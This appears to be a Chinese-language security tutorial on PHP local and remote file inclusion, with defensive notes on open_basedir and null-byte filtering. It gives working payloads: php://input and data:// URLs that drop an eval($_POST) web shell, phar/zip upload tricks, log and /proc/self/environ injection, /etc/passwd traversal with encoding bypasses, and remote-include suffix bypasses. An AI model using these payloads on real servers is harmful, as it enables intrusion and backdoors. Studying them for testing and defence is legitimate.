介绍

即file inclusion,意思是文件包含,是指当服务器开启allow_url_include选项时,就可以通过PHP的某些特性函数(include()require()include_once()requir_once())利用URL去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了PHP配置中的allow_url_fopen选项,选项开启之后,服务器允许包含一个远程文件,服务器通过PHP特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。


  • 文件包含即程序通过包含函数调用本地或远程文件,以此来实现拓展功能
  • 被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞。
  • 文件包含漏洞主要发生在有包含语句的环境中,例如PHP所具备include、require等函数。

本地文件包含LFI(local file include)当被包含的文件在服务器本地时,就形成本地文件包含

远程文件包含RFI(remote file include)当被包含的文件在第三方服务器时,叫做远程文件包含。

PHP文件包含的函数

include( ) : 当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含进来,发生错误时给出一个警告,继续向下执行。

include_once( ) : 功能与 Include()相同,区别在于当重复调用同一文件时,程序只调用一次 require( )

require()与 include()的区别: require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。

require_once( )与 require() 区别:require_once( ) 功能与 require()相同,区别在于当重复调用同一文件时,程序只调用一次


远程文件包含

当包含的文件在远程服务器上时,就形成了远程文件包含

远程文件包含的注意点:

  1. 需要php.iniallow_url_include = on以及allow_url_fopen=on
  2. 所包含远程服务器的文件后缀不能与目标服务器语言相同。(比如目标服务器是php脚本语言解析的, 那么包含的远程服务器文件后缀不能是php)

远程文件包含

如果PHP的配置选项allow_url_include为ON的话,则include/require函数是可以加载远程文件的,这种漏洞称为远程文件包含漏洞

本地文件包含

能过打开并包含本地文件的漏洞,被称为本地文件包含漏洞。

本地文件包含漏洞只能查看或运行本地文件。但是,其实我们可以使用PHP的伪协议等方式来利用本地文件包含漏洞,接下来讲的是如下几种利用方式:

  • PHP伪协议(较为通用)
  • 包含Session文件
  • 包含日志(较为通用)
  • 包含environ文件
  • 包含临时文件
  • 包含上传文件

伪协议

php://协议

php://input
php://filter

php://input用于执行PHP代码,php://filter用于读取源码。


php://filter 👇

php://filter是一种元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。简单来讲就是可以在执行代码前将代码换个方式读取出来,只是读取,不需要开启allow_url_include。

用法:

?file=php://filter/convert.base64-encode/resource=xxx.php

页面源代码为index.php

url: http://localhost/test/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
result: PD9waHAgc3lzdGVtKCdpcGNvbmZpZycpOz8+

base64解密就可以看到内容,这里如果不进行base64_encode,则被include进来的代码就会被执行,导致看不到源代码。

base64内容:<?php system('ipconfig');?>


php://input 👇

php://input协议主要用于访问各个输入/输出流。CTF中经常使用file_get_contents获取php://input内容(POST),需要开启allow_url_include,并且当enctype="multipart/form-data"的时候 php://input是无效的。

利用方式:?file=php://input 数据利用POST传过去

碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据。

页面源代码

<?php
$file = $_GET['file'];
if (@file_get_content($file) == 'meizijiu') {
    echo $flag;
}
?>

post数据(利用hackbar)

http://xxxx/?file=php://input

post的数据为meizijiu

或者写入一句话

http://www.inc.com/inc.php?file=php://input
post数据:
<?php 
echo file_put_contents("test.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NjJ10pPz4="));
?>

base64内容:<?php eval($_POST['cc'])?>


data://协议

php.ini:allow_url_include=On、allow_url_fopen()都为On

利用data://伪协议进行代码执行的思路原理和php://是类似的,都是利用了PHP中的流的概念,将原本的include的文件流重定向到了用户可控制的输入流中。

页面示例代码:

<?php
echo 'for test';
include($_GET['file']);
?>
http://www.inc.com/inc.php?file=data://text/plain,<?php phpinfo()?>
http://www.inc.com/inc.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
http://www.inc.com/inc.php?file=data:text/plain,<?php phpinfo()?>
http://www.inc.com/inc.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
http://www.inc.com/inc.php?file=data://text/plain;base64,PD9waHAgZWNobyBmaWxlX3B1dF9jb250ZW50cygidGVzdC5waHAiLGJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnWlhaaGJDZ2tYMUJQVTFSYkoyTmpKMTBwUHo0PSIpKTs/Pg==

最后一个base64内容为

<?php
  echo file_put_contents("test.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NjJ10pPz4="));
?>

最后一个URL使用file_put_contents()函数将<?php eval($_POST['cc'])?>写到了test.php文件当中

phar://协议

php版本 ≥ 5.3

phar://:PHP 归档,常常跟文件包含,文件上传结合着考察。当文件上传仅仅校验mime类型与文件后缀,可以通过以下方式进行利用。

利用方式:写入一句话shell.php -> 压缩为shell.zip -> 修改后缀为shell.jpg ->上传到网站 -> phar://shell.jpg/shell.php

假设有个文件phpinfo.txt,其内容为<?php phpinfo(); ?>,打包成zip压缩包,如下:

img

指定绝对路径:

index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt

img

zip://协议

php版本 ≥ 5.3

利用和构造zip包的方法同phar://协议,但使用zip协议,需要指定绝对路径,同时将#编码为%23,之后填上压缩包内的文件。

index.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt

包含session文件

前提条件:Session文件路径已知,且其中内容的部分可控。

首先第一个条件:Session的文件路径可以在php.ini中的session.save_path查看到:

一般而言,session文件的存放位置为:

  • /var/lib/php/sess_PHPSESSID
  • /tmp/sess_PHPSESSID
  • /tmp/sessions/sess_PHPSESSID

包含日志文件

前提条件:要知道服务器日志的存储路径,且日志文件可读。

服务器一般回在Web Server的access_log里记录客户端的请求信息,在error_log里记录出错信息。所以攻击者可以间接地将PHP代码写入日志文件,在文件包含时,只需要包含日志文件即可。

但如果是直接发起请求,会导致一些符号被编码使得包含无法正确解析。可以使用burp截包后修改。

例如将PHP代码写入 /var/log/apache2/access.log。然后进行包含即可。

包含environ文件

/proc/self/environ文件里面有Web进程运行时的环境变量,其中很多都是用户可以控制的,最常见的做法就是在User-Agent中注入PHP代码。

包含临时文件

以上这些方法都要求PHP能过包含这些不处于Web目录下的文件,如果PHP设置了open_basedir,则很可能会使得攻击失效。

php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。这个方法可以参考[LFI With PHPInfo Assistance](https://www.insomniasec.com/downloads/publications/LFI With PHPInfo Assistance.pdf)

包含上传文件

XMAN夏令营-2017-babyweb-writeup

绕过方式

00字符截断

这种方式需要 PHP版本<=5.2

用户能够控制file参数,当file的值为../../etc/passwd\0时,相当于执行了include '/home/wwwrun/../../etc/passwd'这条语句。

如果不适用\0截断的话,被包含的文件实际上是/etc/passwd.php,但这个文件自然是不存在的。所以在这个地方,攻击者只要在最后加入一个0字节(\x00),就能截断file变量之后的字符串。

如果是通过Web输入,只需要UrlEencode变为:

../../etc/passwd%00

防御方式:过滤\00截断字符,过滤代码如下:

<?php
function getVal($name)
{
    $value = isset($_GET[$name]) ? $_GET[$name] : null;
    if (is_string($value))
    {
        $value = str_replace("\0", '', $value);
    }
}
?>

超长字符截断

目录字符串在Windows下256字节、Linux下4096字节时,会达到最大值,最大值之后的字符被丢弃。可以通过./的方式构造目录

././././././././././././abc
//////////////////abc
../1/abc../1/abc../1/abc

目录遍历

除了这种攻击方式,还可以使用”…/…/…/“这样的方式来返回到上层目录中,这种方式又被称为”目录遍历(Path Traversal)”。常见的目录遍历漏洞,还可以通过不同的编码方式来绕过一些服务器端的防御逻辑(WAF) :

%2e%2e%2f    ->    ../
%2e%2e/     ->    ../
..%2f     ->    ../
%2e%2e%5c    ->    ..\
%2e%2e%\    ->    ..\
..%5c     ->    ..\
%252e%252e%255c    ->    ..\
..%255c     ->    ..\

防御方式

目录遍历漏洞是一种跨越目录读取文件的方法,但当PHP配置了open_basedir时,将很好地保护服务器,使得这种攻击无效。
open_basedir的作用是限制在某个特定目录下PHP能打开的文件。

需要注意的是,open_basedir的值是目录的前缀,如果设置如下:

open_basedir = /home/aaa

那么以下的目录都是被允许的:

/home/aaa
/home/aaa/bbb
/home/aaa/ccc

如果要限定一个指定的目录,则需要在后面加上一个/

>open_basedir = /home/aaa/

URL绕过

query(?)

index.php?file=http://remoteaddr/remoteinfo.txt? 

则包含的文件为 http://remoteaddr/remoteinfo.txt?/test/test.php

问号后面的部分/test/test.php,也就是指定的后缀被当作query从而被绕过。

fragment(#)

index.php?file=http://remoteaddr/remoteinfo.txt%23

则包含的文件为http://remoteaddr/remoteinfo.txt#/test/test.php

问号后面的部分/test/test.php,也就是指定的后缀被当作fragment从而被绕过。注意需要把#进行url编码为%23

参考文章

https://ca01h.top/Web_security/basic_learning/13.%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/

评论